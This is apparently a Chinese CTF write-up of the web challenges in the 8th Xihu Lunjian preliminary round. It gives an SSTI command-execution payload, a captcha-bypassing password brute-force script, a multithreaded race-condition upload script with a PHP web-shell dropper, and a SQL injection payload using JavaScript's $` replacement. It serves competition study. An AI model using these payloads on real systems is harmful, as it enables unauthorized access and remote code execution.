第八届西湖论剑初赛web全题解

Rank-l

18ed26dd-7b79-422f-90e0-a0885dd3d9f4e823f730-9bc5-44d9-a2b9-a03b075a640c

可能是ssti,过滤了一些东西,如果触发过滤,输入密码的页面会直接302

过滤了空格,用request.args.aaa可以参数逃逸。

1
phone_number={{url_for.__globals__['__builtins__'].__import__('os').popen(request.args.aaa).read()}}

然后再cpass页面:?aaa=ls / -al

a4d93610-c7d2-4716-8708-ce29e2f2b3ac

flag有权限读,但是cat无效,可能是把cat移除了,这里用tac读出来。5e2c6c2e-87e5-4ab0-b532-7eda478c2b92

Rank-U

首先是绕验证码的爆破弱口令,这里用requests库的session来爆破,就只需要识别一次验证码后面可以一直爆破。

登录的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import os
import requests
import re

yzm_url = "http://139.155.126.78:26554/captcha.php"
login_url = "http://139.155.126.78:26554/"

password_dict = "密码字典路径"
open_file = open(password_dict, "r", encoding="utf-8") #拿到密码字典的所有密码
password = open_file.readlines()

sess = requests.session() #利用session,只需要保存一次密码
img = sess.get(yzm_url)
with open("1.jpg", 'wb') as f: # 先访问一次url,把验证码图片保存下来。
f.write(img.content)
f.close()

os.system(rf'"C:\Program Files\Tesseract-OCR\tesseract.exe" 1.jpg test') # 识别验证码,结果保存到本地
answer = open("test.txt", 'r').read()
true_answer = answer.replace(" ", "").replace("\n", "") # 去掉换行和空格
# print(true_answer)

for i in range(len(password)): #爆破密码
p = password[i].replace("\n","")
data = {
"username": "admin",
"password": p,
"yzm": true_answer
}
res = sess.post(login_url,data=data) #发登录包
s = re.findall("<p class='error'>(.*)</p>",res.text)
print(p)
if s[0] != "用户名或密码错误,请重试!":
print(res.text)
print(res.headers)

爆出来密码是:year2000

登录进去直接能上传文件,但是好像访问不到,可能是条件竞争?

20120e94-78bd-4e84-8d73-5ea84882e1ce

只有图片才能被成功上传。

经过测试发现确实是条件竞争,时间极短,需要很多的线程发包才行,这样又容易造成服务器卡顿,而且文件名是根据时间戳生成的某个字符串,这个题恶心就在这几个点。ac6f2add-59a4-4535-a894-ef7d86bc12d5

python多线程发包,发请求,并匹配文件名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import re
import threading

url = "http://139.155.126.78:27319"

cookies = {"PHPSESSID":"p2j0ol7prsslt2mk8fss4bme2u"}
file_path = r"C:\Users\13664\Desktop\123.php"
with open(file_path, 'rb') as f:
files = {
'file_upload': (file_path, f.read(), 'application/octet-stream'),
'filename': ('filename', '123.php')
}

def threads():
while True:
res = requests.post(url+"/admin/index.php", cookies=cookies,files=files)
#print(res.text)
s = re.findall("<p class=\"success\">文件上传成功!文件已保存为: (.*)</p>",res.text)
file_url = url + "/admin"+s[0][1:]
res = requests.get(file_url,cookies=cookies)
if res.status_code == 200:
print(res.text)
break

# 启动 100 个线程
for i in range(100):
threading.Thread(target=threads).start()

php文件:

1
2
3
4
5
<?php
echo 123;
while(1){
file_put_contents("evil.php","<?php eval(\$_GET[123]);?>");
};

为了rce,上传这个php之后访问一次,会生成shell文件,方便rce。

f70625ce-f9d2-4ef1-9121-9391e307ea83

经过几个小时尝试,才在最后拿到了这个shell文件。然后还ban掉了system和phpinfo等函数,我一度以为我的shell有问题。后面用readfile('/flag');来读取flag。

7b915e00-f765-434f-a4f2-d458eef15d31

sqli or not

过滤逗号,单双引号和双斜杠。

逗号的绕过方式,在上次极客大挑战的某个题中遇到过一次。

18d48619-0edb-4045-8a09-89141b2b53b3

这样可以绕逗号

info={“username”:”asd”&info=”password”:”132”}

单引号绕过的点主要是这句

1
sql = sql.replace("{username}",username);

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/leftContext

The RegExp.leftContext static accessor property returns the substring preceding the most recent match. RegExp["$“]` is an alias for this property.

静态访问器属性”RegExp.leftContext”返回最近匹配项之前的子字符串。”RegExp[“$`”]”是该属性的别名。

这里的$`就是{username}前面的所有东西,也就是select * from userinfo where username = '

payload:info={“username”:”$`or 1=1%23”&info=”password”:”132”}

经过拼接后:select * from userinfo where username = ‘select * from userinfo where username = ‘or 1=1#’ and password = ‘132’

这样就取到了单引号了。

c46535d2-c9f4-46d5-b5cf-7cee8f3aedf8


第八届西湖论剑初赛web全题解
http://example.com/2025/01/18/xhlj8/
作者
Infernity
发布于
2025年1月18日
许可协议